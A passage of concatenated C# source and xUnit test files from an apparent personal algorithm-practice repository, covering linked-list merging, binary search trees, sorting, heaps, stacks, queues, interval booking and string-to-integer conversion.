System.Diagnostics.CodeAnalysis; namespace Problems.MergeLists { public class SinglyLinkedListComparer : IEqualityComparer<SinglyLinkedList> { public bool Equals([AllowNull] SinglyLinkedList x, [AllowNull] SinglyLinkedList y) { return x.Equals(y); } public int GetHashCode([DisallowNull] SinglyLinkedList obj) { return obj.GetHashCode(); } } } <file_sep>using System.Diagnostics; using Xunit; namespace array_manipulation { public class ArrayManipulationTests : IClassFixture<ArrayManipulationFixture> { private readonly ArrayManipulationFixture _fixture; private readonly ArrayManipulator _target; public ArrayManipulationTests(ArrayManipulationFixture fixture) { _fixture = fixture; _target = new ArrayManipulator(); } [Fact] public void TestCase1() { var testData = _fixture.TestCases["testCase1"]; const int expectedMax = 200; var max = _target.GetMaxInArray(testData); Assert.Equal(expectedMax, max); } [Fact] public void TestCase4() { const long expectedMax = 7542539201; var testData = _fixture.TestCases["testCase4"]; var max = _target.GetMaxInArray(testData); Assert.Equal(expectedMax, max); } [Fact] public void TestCase7() { const long expectedMax = 2497169732; var testData = _fixture.TestCases["testCase7"]; var stopwatch = Stopwatch.StartNew(); var max = _target.GetMaxInArray(testData); stopwatch.Stop(); Assert.Equal(expectedMax, max); } } } <file_sep>using System; using System.IO; using System.Linq; using Xunit; namespace MigratoryBirds { public class MigratoryBirdsTests { private readonly MigratoryBirds _migratoryBirds; public MigratoryBirdsTests() { _migratoryBirds = new MigratoryBirds(); } [Fact] public void TestCase4() { //Arrange const int expectedBirdId = 3; var inputArray = LoadTestCaseData("testcase4.txt"); //Act var birdId = _migratoryBirds.Solve(inputArray); //Assert Assert.Equal(expectedBirdId, birdId); } private static int[] LoadTestCaseData(string filename) { // throw new NotImplementedException(); using(var file = File.OpenText(filename)) { int arrayCount = Convert.ToInt32(file.ReadLine().Trim()); var array = file.ReadLine().TrimEnd().Split(' ').ToList().Select(arrTemp => Convert.ToInt32(arrTemp)).ToArray(); return array; } } } } <file_sep>namespace array_manipulation { class TestData { public int ArraySize { get; set; } public int[][] Queries { get; set; } } } <file_sep>using System; using trees; using Xunit; namespace Trees { public class TreeExtensionsTests { public class CheckBstTests { private Tree<int> _tree; public CheckBstTests() { _tree = new Tree<int>(); } [Fact] public void ShouldReturnTrue_ForABinarySearchTree() { _tree.Insert(10); _tree.Insert(5); _tree.Insert(20); _tree.Insert(15); _tree.Insert(25); _tree.Insert(3); _tree.Insert(9); var isBst = _tree.CheckBst(); Assert.True(isBst); } [Fact] public void ShouldReturnFalse_ForANonBinarySearchTree() { _tree.Insert(10); var root = _tree.Root; root.Left = new Node<int>(5); root.Left.Left = new Node<int>(30); _tree.Insert(20); var isBst = _tree.CheckBst(); Assert.False(isBst); } } public class HeightTests { private readonly Tree<int> _tree; public HeightTests() { _tree = new Tree<int>(); } [Fact] public void ShouldReturnZero_ForAnEmptyBst() { Assert.Equal(0, _tree.Height()); } [Fact] public void ShouldReturnOne_ForATreeWithOnlyOneNode() { _tree.Insert(1); Assert.Equal(1, _tree.Height()); } [Fact] public void ShouldReturnX_ForABstTree() { /* * (1) 10 * / \ * (2) 5 20 * / \ / \ * (3) 3 9 15 25 */ _tree.Insert(10); _tree.Insert(5); _tree.Insert(20); _tree.Insert(15); _tree.Insert(25); _tree.Insert(3); _tree.Insert(9); Assert.Equal(3, _tree.Height()); } } public class PrintTests { private readonly Tree<int> _tree = new Tree<int>(); [Fact] public void PrintTest() { _tree.Insert(10); _tree.Insert(5); _tree.Insert(20); _tree.Insert(15); _tree.Insert(25); _tree.Insert(3); _tree.Insert(9); _tree.Print(); } } } }<file_sep>using System; using System.Diagnostics.CodeAnalysis; namespace Problems.MyCalendar { public class MyCalendar { private readonly Tree tree; public MyCalendar() { tree = new Tree(); } public bool Book(int start, int end) { var interval = new Interval(start, end); return tree.Add(interval); } private class Tree { private IntervalNode rootNode; public bool Add(Interval interval) { if (rootNode == null) { rootNode = new IntervalNode(interval); return true; } return rootNode.Add(interval); } private class IntervalNode { public IntervalNode(Interval interval) { Data = interval ?? throw new ArgumentNullException(nameof(interval)); } public Interval Data { get; } public IntervalNode Left { get; set; } public IntervalNode Right { get; set; } public bool Add(Interval interval) { int comparision = Compare(Data, interval); if (comparision == 0) { return false; // the interval overlaps this node's interval } else if (comparision < 0) { // the interval does not overlap but happens before current event // if no node at the left, then add the interval node and return true // to indicate the booking was successful if (Left == null) { Left = new IntervalNode(interval); return true; } // otherwise keep digging on the tree to insert on the left side. return Left.Add(interval); } else { // the interval does not overlap but happens after current event // if no node at the right, then add the interval node and return true // to indicate the booking was successful if (Right == null) { Right = new IntervalNode(interval); return true; } // otherwise keep digging on the tree to insert on the right side return Right.Add(interval); } } private int Compare(Interval interval1, Interval interval2) { if (interval1 is null) { throw new ArgumentNullException(nameof(interval1)); } if (interval2 is null) { throw new ArgumentNullException(nameof(interval2)); } if (Math.Max(interval1.Start, interval2.Start) < Math.Min(interval1.End, interval2.End)) { return 0; // these intervals overlap each other } if (interval2.Start >= interval1.End) { return -1; } if (interval1.Start >= interval2.End) { return 1; } throw new InvalidOperationException(); } } } private class Interval { public Interval(int start, int end) { if (start < 0) throw new ArgumentOutOfRangeException(nameof(start)); if (end < 0) throw new ArgumentOutOfRangeException(nameof(end)); if (end < start) throw new ArgumentException($"End is expected to be greater than start."); Start = start; End = end; } public int Start { get; } public int End { get; } } } } <file_sep>using System; using System.Collections.Generic; using System.Text; using Xunit; namespace Problems.MergeLists { public class MergeListsTests { [Theory] [InlineData(new int[] { }, new int[] { 2, 3, 4, 5, 6 }, new int[] { 2, 3, 4, 5, 6 })] [InlineData(new int[] { 2, 3, 4, 5, 6 }, new int[] { }, new int[] { 2, 3, 4, 5, 6 })] [InlineData(new int[] { }, new int[] { }, new int[] { })] public void Merge_Should_Handle_Empty_Lists(int[] listArray1, int[] listArray2, int[] expectedArray) { DoTest(listArray1, listArray2, expectedArray); } [Theory] [InlineData(new int[] { 1, 3, 5, 7 }, new int[] { 2, 4, 6, 8, 10, 12 }, new int[] { 1, 2, 3, 4, 5, 6, 7, 8, 10, 12 })] [InlineData(new int[] { 1, 3, 5, 7, 9, 11, 13 }, new int[] { 2, 4, 6 }, new int[] { 1, 2, 3, 4, 5, 6, 7, 9, 11, 13 })] public void Merge_Should_Handle_Different_List_Sizes(int[] listArray1, int[] listArray2, int[] expectedArray) { DoTest(listArray1, listArray2, expectedArray); } [Theory] [InlineData(new int[] { 1, 2, 3, 4, 6, 8 }, new int[] { 5, 7, 9, 10, 11, 12 }, new int[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 })] public void Merge_Should_Handle_Equal_List_Sizes(int[] listArray1, int[] listArray2, int[] expectedArray) { DoTest(listArray1, listArray2, expectedArray); } private static void DoTest(int[] listArray1, int[] listArray2, int[] expectedArray) { var list1 = SinglyLinkedList.FromArray(listArray1); var list2 = SinglyLinkedList.FromArray(listArray2); var expected = SinglyLinkedList.FromArray(expectedArray); var actual = Solution.MergeLists(list1.Head, list2.Head); Assert.Equal(expected, actual, new SinglyLinkedListComparer()); } } } <file_sep>using System; using System.Collections; namespace Problems.Atoi { public class Solution { /* Main Questions: 1. Can the input string contain whitespaces at both beginning or end? A: Yes. Ignore all whitespaces at the beginning only. Only ' ' is considered a whitespace. 2. Can the input string contain any other non-numerical characters? A: Yes, you can expect non-numerical characters. But for conversion to be valid, the first sequence of chars has to be a valid integer value (ie. no words or any other char except '+' or '-') 3. What do we expect from the function if we encounter such characters? A: Just ignore them. They will not affect the result. 4. It needs to return an int. So I assume we're dealing with 32-bit integers. right? A: Yes. 5. Will it always include the sign at the beginning? If not, do we assume the result will be a positive number? A: Yes. The sign is optional. Default will be +. 6. What about if the number is out-of-range? A: You will either return INT_MAX (2^31 - 1) for positive values or INT_MIN (-2^31) for negative ones. 7. What if the input string has no valid number (ie. string is empty or has no numbers)? A: No conversion is performed. Return Zero. */ public int MyAtoi(string str) { // let's define INT_MAX and INT_MIN const int INT_MAX = Int32.MaxValue; const int INT_MIN = Int32.MinValue; if (str.Length == 0) { return 0; } int sign = 1; int i = 0; int result = 0; // discard as many whitespaces are found. while (i < str.Length && str[i] == ' ') i++; if (i < str.Length && (str[i] == '-' || str[i] == '+')) { sign = str[i] == '-' ? -1 : 1; i++; } // discard as many leading zeroes are found while (i < str.Length && str[i] == '0') i++; while (i < str.Length) { if (str[i] >= '0' && str[i] <= '9') { if (result > (INT_MAX / 10) || (result == INT_MAX / 10 && str[i] - '0' > 7)) { return sign == -1 ? INT_MIN : INT_MAX; } result = (result * 10) + str[i] - '0'; } else { break; } i++; } return result * sign; } public int MyAtoi2(string str) { return MyAtoiRecursive(str, str.Length - 1); } private int MyAtoiRecursive(string str, int i) { int sign = 0; if (str[i] == '+' || str[i] == '-') { sign = str[i] == '-' ? -1 : 1; return (str[i + 1] - '0'); } if (i == 0) return 0; if (IsDigit(str[i])) { int result = (10 * MyAtoiRecursive(str, i - 1) + str[i] - '0'); return result * sign; } return MyAtoiRecursive(str, i - 1); //int result = (10 * MyAtoiRecursive(str, i - 1) + str[i] - '0'); //return result; //return result * sign; } private bool IsDigit(char chr) => chr >= '0' && chr <= '9'; } }<file_sep>using FluentAssertions; using System; using System.Collections.Generic; using System.Text; using Xunit; namespace Problems.MergeLists { public class MyQueueTests { private readonly MyQueue myQueue; public MyQueueTests() { myQueue = new MyQueue(); } [Fact(DisplayName = "New_MyQueue_Should_Be_Empty")] public void New_MyQueue_Should_Be_Empty() { myQueue.IsEmpty.Should().BeTrue(); } [Fact(DisplayName = "Enqueue_Should_Put_Item_At_End_Of_Queue")] public void Enqueue_Should_Put_Item_At_End_Of_Queue() { myQueue.Enqueue(1); myQueue.Peek().Should().Be(1); myQueue.Enqueue(2); myQueue.Peek().Should().Be(1); } [Fact(DisplayName = "Dequeue_Should_Return_Item_At_The_Head_Of_Queue_And_Remove_It")] public void Dequeue_Should_Return_Item_At_The_Head_Of_Queue_And_Remove_It() { myQueue.Enqueue(1); myQueue.Enqueue(2); myQueue.Dequeue().Should().Be(1); myQueue.Peek().Should().Be(2); } [Fact(DisplayName = "Dequeue_Should_Throw_InvalidOperationException_When_Queue_Is_Empty")] public void Dequeue_Should_Throw_InvalidOperationException_When_Queue_Is_Empty() { Assert.Throws<InvalidOperationException>(() => myQueue.Dequeue()); } [Fact(DisplayName = "Peek_Should_Return_Item_At_The_Head_Of_Queue_But_Keeps_It_On_Queue")] public void Peek_Should_Return_Item_At_The_Head_Of_Queue_But_Keeps_It_On_Queue() { myQueue.Enqueue(1); myQueue.Peek().Should().Be(1); myQueue.Peek().Should().Be(1); myQueue.Enqueue(2); myQueue.Peek().Should().Be(1); } [Fact(DisplayName = "Peek_Should_Throw_InvalidOperationException_When_Queue_Is_Empty")] public void Peek_Should_Throw_InvalidOperationException_When_Queue_Is_Empty() { Assert.Throws<InvalidOperationException>(() => myQueue.Peek()); } [Fact(DisplayName = "IsEmpty_Should_Return_False_After_Item_Has_Been_Enqueued")] public void IsEmpty_Should_Return_False_After_Item_Has_Been_Enqueued() { myQueue.Enqueue(1); myQueue.IsEmpty.Should().BeFalse(); myQueue.Dequeue(); myQueue.Enqueue(2); myQueue.IsEmpty.Should().BeFalse(); } [Fact(DisplayName = "IsEmpty_ShouldReturn_True_After_All_Items_Had_Been_DeQueued")] public void IsEmpty_ShouldReturn_True_After_All_Items_Had_Been_DeQueued() { myQueue.Enqueue(1); myQueue.Enqueue(2); myQueue.Dequeue(); myQueue.Dequeue(); myQueue.IsEmpty.Should().BeTrue(); } } } <file_sep>using System; namespace Arrays.Sorting { class QuickSortC : QuickSortBase { protected override void Sort(int[] array, int start, int end) { Console.WriteLine($"Sort: start = {start}; end = {end}"); if(start < end) { int pivotIndex = Partition(array, start, end); Sort(array, start, pivotIndex - 1); Sort(array, pivotIndex + 1, end); } } protected override int Partition(int[] array, int start, int end) { int pivot = array[start]; int pivotIndex = start; int current = 0; int[] helper = new int[(end - start + 1)]; for(int i = start + 1; i <= end; i++) { if(array[i] < pivot) { helper[current++] = array[i]; } } pivotIndex = current + start; helper[current++] = pivot; for(int i = start + 1; i <= end; i++) { if(array[i] >= pivot) { helper[current++] = array[i]; } } helper.CopyTo(array, start); return pivotIndex; } } }<file_sep>using System; using Trees; namespace trees { public static class TreeExtensions { public static int Height<T>(this Tree<T> tree) where T : IComparable<T> { return Height(tree.Root); } private static int Height<T>(Node<T> root) where T : IComparable<T> { if (root == null) return 0; var leftHeight = Height(root.Left); var rightHeight = Height(root.Right); return Math.Max(leftHeight, rightHeight) + 1; } public static void Print<T>(this Tree<T> tree) where T : IComparable<T> { PrintNode(tree.Root); } private static void PrintNode<T>(Node<T> node, int direction = 0) where T : IComparable<T> { if(node == null) return; var directionStr = direction < 0 ? " / " : " \\ "; if(direction == 0) directionStr = ""; Console.WriteLine(directionStr); Console.WriteLine($"{node.Data}"); PrintNode(node.Left, -1); PrintNode(node.Right, 1); } } } <file_sep>using Xunit; namespace Arrays.Search { public class BinarySearchTests { [Theory] [InlineData(new long[] {1, 2, 3, 4, 5}, 3)] [InlineData(new long[] {1, 2, 3, 4, 5}, 1)] [InlineData(new long[] {1, 2, 3, 4, 5}, 5)] public void BinarySearch_ShouldReturnTrue_WhenLookupValueIsFound(long[] array, long lookupValue) { const bool expectedResult = true; DoTest(array, lookupValue, expectedResult); } [Fact] public void BinarySearch_ShouldReturnFalse_WhenLookupValueIsNotFound() { const long lookupValue = 0; const bool expectedResult = false; long[] array = {1, 2, 3, 4, 5}; DoTest(array, lookupValue, expectedResult); } [Fact] public void BinarySearch_ShouldHandleUnsortedArrays() { const long lookupValue = 5; const bool expectedResult = true; long[] array = {9, 3, 1, 4, -5, 5}; DoTest(array, lookupValue, expectedResult); } private void DoTest(long[] array, long lookupValue, bool expectedResult) { var result = BinarySearch.Search(array, lookupValue); Assert.Equal(expectedResult, result); } } }<file_sep>namespace Problems.MergeLists { public static class Solution { public static SinglyLinkedList MergeLists (SinglyLinkedListNode head1, SinglyLinkedListNode head2) { SinglyLinkedList resultList = new SinglyLinkedList(); while(head1 != null && head2 != null) { if (head1 != null && head1.Data <= head2.Data) { resultList.Append(head1.Data); head1 = head1.Next; } else if (head2 != null) { resultList.Append(head2.Data); head2 = head2.Next; } } while (head1 != null) { resultList.Append(head1.Data); head1 = head1.Next; } while (head2 != null) { resultList.Append(head2.Data); head2 = head2.Next; } return resultList; } } } <file_sep>using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Text; namespace Problems.MergeLists { public class SinglyLinkedListNode { public SinglyLinkedListNode(int data) { this.Data = data; } public int Data { get; set; } public SinglyLinkedListNode Next { get; set; } public override bool Equals(object obj) { if (obj is SinglyLinkedListNode) { return this.Data == this.Data; } return false; } public override int GetHashCode() { return 7 ^ Data.GetHashCode(); } } } <file_sep>using System; using System.Collections.Generic; using System.Text; using Xunit; using FluentAssertions; namespace Problems.MergeLists { public class MyStackTests { private readonly MyStack stack = new MyStack(); [Fact (DisplayName = "IsEmpty_Should_Return_True_When_Stack_Is_New")] public void IsEmpty_Should_Return_True_When_Stack_Is_New() { stack.IsEmpty.Should().BeTrue(); } [Fact(DisplayName = "IsEmpty_Should_Return_True_When_Item_Is_Pushed")] public void IsEmpty_Should_Return_True_When_Item_Is_Pushed() { stack.Push(1); stack.IsEmpty.Should().BeFalse(); stack.Push(2); stack.IsEmpty.Should().BeFalse(); } [Fact(DisplayName = "IsEmpty_Should_Return_False_When_All_Items_Are_Popped")] public void IsEmpty_Should_Return_False_When_All_Items_Are_Popped() { stack.Push(1); stack.Push(2); stack.Pop(); stack.Pop(); stack.IsEmpty.Should().BeTrue(); } [Fact(DisplayName = "Push_Should_Put_Item_At_The_Top_Of_Stack")] public void Push_Should_Put_Item_At_The_Top_Of_Stack() { stack.Push(1); stack.Peek().Should().Be(1); stack.Push(2); stack.Peek().Should().Be(2); } [Fact(DisplayName = "Pop_Should_Remove_And_Return_Item_At_The_Top_Of_Stack")] public void Pop_Should_Remove_And_Return_Item_At_The_Top_Of_Stack() { stack.Push(1); stack.Push(2); stack.Pop().Should().Be(2); stack.Pop().Should().Be(1); } [Fact(DisplayName = "Pop_Should_Throw_InvalidOperationException_When_Stack_Is_Empty")] public void Pop_Should_Throw_InvalidOperationException_When_Stack_Is_Empty() { Assert.Throws<InvalidOperationException>(() => stack.Pop()); } [Fact(DisplayName = "Peek_Should_Return_Item_At_The_Top_Of_Stack_And_Keep_It")] public void Peek_Should_Return_Item_At_The_Top_Of_Stack_And_Keep_It() { stack.Push(1); stack.Peek().Should().Be(1); stack.Push(2); stack.Peek().Should().Be(2); } [Fact(DisplayName = "Peek_Should_Throw_InvalidOperationException_When_Stack_Is_Empty")] public void Peek_Should_Throw_InvalidOperationException_When_Stack_Is_Empty() { Assert.Throws<InvalidOperationException>(() => stack.Peek()); } } } <file_sep>using System; namespace Arrays.Sorting { abstract class QuickSortBase : ISorter { public void Sort(int[] array) { Sort(array, 0, array.Length - 1); } protected abstract void Sort(int[] array, int start, int end); protected abstract int Partition(int[] array, int start, int end); } }<file_sep>using System; using Xunit; namespace Arrays { public class ArrayExtensionsTests { public class CopyTests { [Fact] public void ShouldCopyArrayFromStartToFinish() { int[] array = new int[] { 1, 2, 3, 4, 5 }; var copy = ArrayExtensions.Copy(array); // Assert. Assert.NotSame(copy, array); Assert.Equal(array, copy); } [Fact] public void ShouldCopyArrayFromSpecifiedStartAndEnd() { int[] array = new int[] { 1, 2, 3, 4, 5 }; int[] expected = new int[] { 1, 2, 3 }; var copy = ArrayExtensions.Copy(array, 0, 2); // Assert. Assert.Equal(expected, copy); } } public class CopyToTests { [Theory] [InlineData(new int[] { 1, 3, 2 }, new int[] { 0, 0, 0, 5, 8, 7, 9 }, 0, new int[] { 1, 3, 2, 5, 8, 7, 9 })] [InlineData(new int[] { 3, 2 }, new int[] { 1, 0, 0, 5, 8, 7, 9}, 1, new int[] { 1, 3, 2, 5, 8, 7, 9 })] [InlineData(new int[] { 1, 3, 2, 5, 8, 7, 9 }, new int[] { 0, 0, 0, 0, 0, 0, 0}, 0, new int[] { 1, 3, 2, 5, 8, 7, 9 })] [InlineData(new int[] { 8, 7, 9 }, new int[] { 1, 3, 2, 5, 0, 0, 0 }, 4, new int[] { 1, 3, 2, 5, 8, 7, 9 })] public void ShouldCopySourceIntoDestinationArrayFromSpecifiedStartAndEndIndexes(int[] sourceArray, int[] destArray, int start, int[] expectedArray) { //Arrange //Act ArrayExtensions.CopyTo(sourceArray, destArray, start); //Assert Assert.Equal(destArray, expectedArray); } } public class SwapTests { [Fact] public void ShouldSwapValuesInArray() { //Arrange int[] array = new int[] { 1, 2, 3, 4 }; int left = 1, right = 3; int originalLeft = array[left]; int originalRight = array[right]; //Act ArrayExtensions.Swap(array, left, right); //Assert Assert.Equal(originalLeft, array[right]); Assert.Equal(originalRight, array[left]); } } } } <file_sep>using System; using System.Linq; using Xunit; namespace Trees { public class TreeTests { public class InsertTests { [Fact] public void ShouldSetRootNode_WhenTreeIsEmpty() { const int data = 5; var tree = new Tree<int>(); tree.Insert(data); Assert.False(tree.IsEmpty); Assert.NotNull(tree.Root); Assert.Equal(data, tree.Root.Data); } [Fact] public void ShouldSetRootLeftNode_WhenDataIsLessThanRootData() { const int data = 5; var tree = new Tree<int>(10); tree.Insert(data); Assert.False(tree.IsEmpty); Assert.NotNull(tree.Root.Left); Assert.Equal(data, tree.Root.Left.Data); } [Fact] public void ShouldSetRootRightNode_WhenDataIsGreaterThanRootData() { const int data = 15; var tree = new Tree<int>(10); tree.Insert(data); Assert.False(tree.IsEmpty); Assert.NotNull(tree.Root.Right); Assert.Equal(data, tree.Root.Right.Data); } } public class TraverseTests { private Tree<int> _tree; public TraverseTests() { _tree = new Tree<int>(10); _tree.Insert(5); _tree.Insert(3); _tree.Insert(9); _tree.Insert(20); _tree.Insert(25); // _tree.Insert(15); } [Fact] public void ShouldTraverseTreeInOrder_WhenTraverseOrderIsInOrder() { //When var items = _tree.Traverse(TraverseOrder.InOrder); //Then Assert.Collection(items, i => Assert.Equal(3, i), i => Assert.Equal(5, i), i => Assert.Equal(9, i), i => Assert.Equal(10, i), i => Assert.Equal(20, i), i => Assert.Equal(25, i) ); } [Fact] public void ShouldTraverseTreePostOrder_WhenTraverseOrderIsPostOrder() { //when var items = _tree.Traverse(TraverseOrder.PostOrder); //Then Assert.Collection(items, i => Assert.Equal(3, i), i => Assert.Equal(9, i), i => Assert.Equal(5, i), i => Assert.Equal(25, i), i => Assert.Equal(20, i), i => Assert.Equal(10, i) ); } [Fact] public void ShouldTraverseTreePreOrder_WhenTraverseOrderIsPreOrder() { //When var items = _tree.Traverse(TraverseOrder.PreOrder); //Then Assert.Collection(items, i => Assert.Equal(10, i), i => Assert.Equal(5, i), i => Assert.Equal(3, i), i => Assert.Equal(9, i), i => Assert.Equal(20, i), i => Assert.Equal(25, i) ); } [Fact] public void ShouldTraverseTreeInLevelOrder_WhenTraverseOrderIsInLevelOrder() { //When var items = _tree.Traverse(TraverseOrder.LevelOrder); //Then Assert.Collection(items, i => Assert.Equal(10, i), i => Assert.Equal(5, i), i => Assert.Equal(20, i), i => Assert.Equal(3, i), i => Assert.Equal(9, i), i => Assert.Equal(25, i) ); } } } } <file_sep>using System; using Xunit; namespace Arrays.Sorting { public class SortingTests { [Fact] public void MergeSort_ShouldReturnSortedArray() { var sorter = new MergeSort(); DoTest(sorter); } [Fact] public void QuickSortA_ShouldReturnSortedArray() { var sorter = new QuickSortA(); DoTest(sorter); } [Fact] public void QuickSortB_ShouldReturnSortedArray() { var sorter = new QuickSortB(); DoTest(sorter); } [Fact] public void QuickSortC_ShouldReturnSortedArray() { var sorter = new QuickSortC(); DoTest(sorter); } private void DoTest(ISorter sorter) { int[] array = { 38, 27, 43, 3, 9, 82, 10 }; int[] expectedSortedArray = { 3, 9, 10, 27, 38, 43, 82 }; sorter.Sort(array); Assert.Equal(expectedSortedArray, array); } } } <file_sep>namespace Arrays.Sorting { class QuickSortB : QuickSortBase { protected override void Sort(int[] array, int start, int end) { if(start < end) { int pivotIndex = Partition(array, start, end); Sort(array, start, pivotIndex - 1); Sort(array, pivotIndex + 1, end); } } /// /// This partition algorithm takes the last item on the array as pivot /// Then it starts traversing the array until an item less than the pivot appears /// swapping the values. It then returns the pivot index. protected override int Partition(int[] array, int start, int end) { int pivot = array[end]; int pivotIndex = start; for(int i = start; i < end; i++) { if(array[i] <= pivot) { array.Swap(pivotIndex, i); pivotIndex++; } } array.Swap(pivotIndex, end); return pivotIndex; } } }<file_sep>using System.Linq; namespace array_manipulation { internal class ArrayManipulator { public long GetMaxInArray(TestData testData) { var array = Enumerable.Repeat((long)0, testData.ArraySize + 1) .ToArray(); DoInsert(testData.Queries, array); return Max(array); } void DoInsert(int[][] queries, long[] array) { int a, b, k; for (int queryLine = 0; queryLine < queries.Length; queryLine++) { a = queries[queryLine][0]; b = queries[queryLine][1]; k = queries[queryLine][2]; array[a] += k; if ((b + 1) < array.Length) array[(b + 1)] -= k; /* for (int index = a; index <= b; index++) { array[index] += k; }*/ } } long Max(long[] array) { long max = 0, temp = 0; for (int i = 1; i < array.Length; i++) { temp += array[i]; if (max < temp) max = temp; } return max; } } }<file_sep>using System; using System.Diagnostics; namespace Arrays.TwoSortedArraysMedian { public class Solution { public static double FindMedianSortedArrays(int[] nums1, int[] nums2) { // first determine the number of items each of the arrays will contribute // to the left half of the merged array int[] A = nums1; int[] B = nums2; if (nums1.Length > nums2.Length) { A = nums2; B = nums1; } return FindMedianSortedArrays(A, B, 0, A.Length); } private static double FindMedianSortedArrays(int[] A, int[] B, int start, int end) { Console.WriteLine($"start = {start}; end = {end}"); int halfLength = (A.Length + B.Length + 1) / 2; int partitionA = (end + start) / 2; int partitionB = halfLength - partitionA; Debug.WriteLine($"partitionA = {partitionA}; partitionB = {partitionB}"); int x = partitionA > 0 ? A[partitionA - 1] : int.MinValue; int xP = partitionA >= A.Length ? int.MaxValue : A[partitionA]; int y = partitionB > 0 ? B[partitionB - 1] : int.MinValue; int yP = partitionB >= B.Length ? int.MaxValue : B[partitionB]; Debug.WriteLine($"x = {x}; xP = {xP}"); Debug.WriteLine($"y = {y}; yP = {yP}"); if (x <= yP && y <= xP) { if ((A.Length + B.Length) % 2 == 0) { return (Math.Max(x, y) + Math.Min(xP, yP)) / 2.0d; } return Math.Max(x, y); } else if (x > yP) { return FindMedianSortedArrays(A, B, start, partitionA); } else { return FindMedianSortedArrays(A, B, partitionA + 1, end); } } } }<file_sep>using System; using System.Collections.Generic; namespace Trees { internal class Node<T> where T: IComparable<T> { public T Data { get; set; } public Node<T> Left { get; set; } public Node<T> Right { get; set; } internal Node(T data) { Data = data; } public void Insert(T data) { var comparision = data.CompareTo(this.Data); if(comparision <= 0) { if(Left == null) Left = new Node<T>(data); else Left.Insert(data); } else { if(Right == null) Right = new Node<T>(data); else Right.Insert(data); } } internal IEnumerable<T> TraverseInOrder() { var list = new List<T>(); if(Left != null) list.AddRange(Left.TraverseInOrder()); list.Add(this.Data); if(Right != null) list.AddRange(Right.TraverseInOrder()); return list; } internal IEnumerable<T> TraversePostOrder() { var list = new List<T>(); if(Left != null) list.AddRange(Left.TraversePostOrder()); if(Right != null) list.AddRange(Right.TraversePostOrder()); list.Add(this.Data); return list; } internal IEnumerable<T> TraversePreOrder() { var list = new List<T>(); list.Add(this.Data); if(Left != null) list.AddRange(Left.TraversePreOrder()); if(Right != null) list.AddRange(Right.TraversePreOrder()); return list; } internal IEnumerable<T> TraverseLevelOrder() { var queue = new Queue<Node<T>>(); var list = new List<T>(); queue.Enqueue(this); while(queue.Count > 0) { var currentNode = queue.Dequeue(); list.Add(currentNode.Data); if(currentNode.Left != null) queue.Enqueue(currentNode.Left); if(currentNode.Right != null) queue.Enqueue(currentNode.Right); } return list; } } }<file_sep>using System; using System.Diagnostics; namespace Arrays.Sorting { class MergeSort : ISorter { public void Sort(int[] array) { int n = array.Length; if(n < 2) { return; } int mid = n / 2; int[] left = ArrayExtensions.Copy(array, 0, mid - 1); int[] right = ArrayExtensions.Copy(array, mid, n - 1); Sort(left); Sort(right); Merge(left, right, array); left = right = null; } void Merge(int[] left, int[] right, int[] array) { if((left.Length + right.Length) > array.Length) throw new ArgumentOutOfRangeException(); int k = 0, i = 0, j = 0; // Iterate both left and right arrays // Using i as an index for left and j for right arrays while(i < left.Length && j < right.Length) { //Compare elements from left and right arrays, if left array is greater or equal to right array element, // copy left item into destination array. Otherwise, copy the right item into destination array. if(left[i] <= right[j]) { array[k++] = left[i++]; } else { array[k++] = right[j++]; } } //Are there any remaining items on left array, copy all of them into array while(i < left.Length) { array[k++] = left[i++]; } //Do the same for righ array. while(j < right.Length) { array[k++] = right[j++]; } } void PrintArray(int[] array) { } } }<file_sep>using System; namespace Heaps { public abstract class Heap { private int _capacity; private int _size; private int[] _items; public Heap() : this(10) {} public Heap(int initialCapacity) { _capacity = initialCapacity; _size = 0; _items = new int[_capacity]; } protected int Capacity => _capacity; protected int Size => _size; protected int[] Items => _items; protected bool IsEmpty => _size == 0; protected abstract bool Compare(int a, int b); private int GetLeftChildIndex(int parentIndex) => 2 * parentIndex + 1; private int GetRightChildIndex(int parentIndex) => 2 * (parentIndex + 1); private int GetParentIndex(int childIndex) => (childIndex - 1) / 2; private bool HasLeftChild(int index) => GetLeftChildIndex(index) < _size; private bool HasRightChild(int index) => GetRightChildIndex(index) < _size; private bool HasParent(int index) => GetParentIndex(index) >= 0; private int GetLeftChild(int index) => _items[GetLeftChildIndex(index)]; private int GetRightChild(int index) => _items[GetRightChildIndex(index)]; private int GetParent(int index) => _items[GetParentIndex(index)]; private void Swap(int indexA, int indexB) { int temp = _items[indexA]; _items[indexA] = _items[indexB]; _items[indexB] = temp; } private void EnsureCapacity() { if(_size == _capacity) { _capacity *= 2; Array.Resize(ref _items, _capacity); } } private void HeapifyUp() { int index = _size - 1; // while(HasParent(index) && GetParent(index) > _items[index]) while(HasParent(index) && !Compare(GetParent(index), _items[index])) { Swap(index, GetParentIndex(index)); index = GetParentIndex(index); } } private void HeapifyDown(int index = 0) { while(HasLeftChild(index)) { int childIndex = GetLeftChildIndex(index); // if(HasRightChild(index) && GetRightChild(index) < GetLeftChild(index)) if(HasRightChild(index) && Compare(GetRightChild(index), GetLeftChild(index))) { childIndex = GetRightChildIndex(index); } // if(_items[index] < _items[childIndex]) if(Compare(_items[index], _items[childIndex])) { break; } else { Swap(index, childIndex); } index = childIndex; } } } }<file_sep>using System; namespace Arrays { public static class ArrayExtensions { public static int[] Copy(this int[] source) { return Copy(source, 0, source.Length - 1); } public static int[] Copy(this int[] source, int start, int end) { int n = end - start + 1; if(n < 1) throw new ArgumentOutOfRangeException(); var temp = new int[n]; for(int i = 0, j = start; i < n; i++, j++) { temp[i] = source[j]; } return temp; } public static void CopyTo(this int[] source, int[] dest, int start) { if(source.Length + start > dest.Length) throw new ArgumentOutOfRangeException(nameof(start)); int current = start; for(int i = 0; i < source.Length; i++) { dest[current++] = source[i]; } } public static void Swap(this int[] array, int index1, int index2) { if(index1 < 0 && index1 >= array.Length) throw new ArgumentOutOfRangeException(nameof(index1)); if(index2 < 0 && index2 >= array.Length) throw new ArgumentOutOfRangeException(nameof(index2)); int temp = array[index2]; array[index2] = array[index1]; array[index1] = temp; } } }<file_sep>using FluentAssertions; using System; using System.Collections.Generic; using System.Text; using Xunit; using Xunit.Abstractions; namespace Problems { public class DictionaryTests { private readonly ITestOutputHelper output; public DictionaryTests(ITestOutputHelper output) { this.output = output ?? throw new ArgumentNullException(nameof(output)); } [Fact(DisplayName = "Dictionary_Keeps_Keys_In_Order")] public void Dictionary_Keeps_Keys_In_Order_Of_Insertion() { var dict = new Dictionary<int, int>(); dict.Add(1, 1); 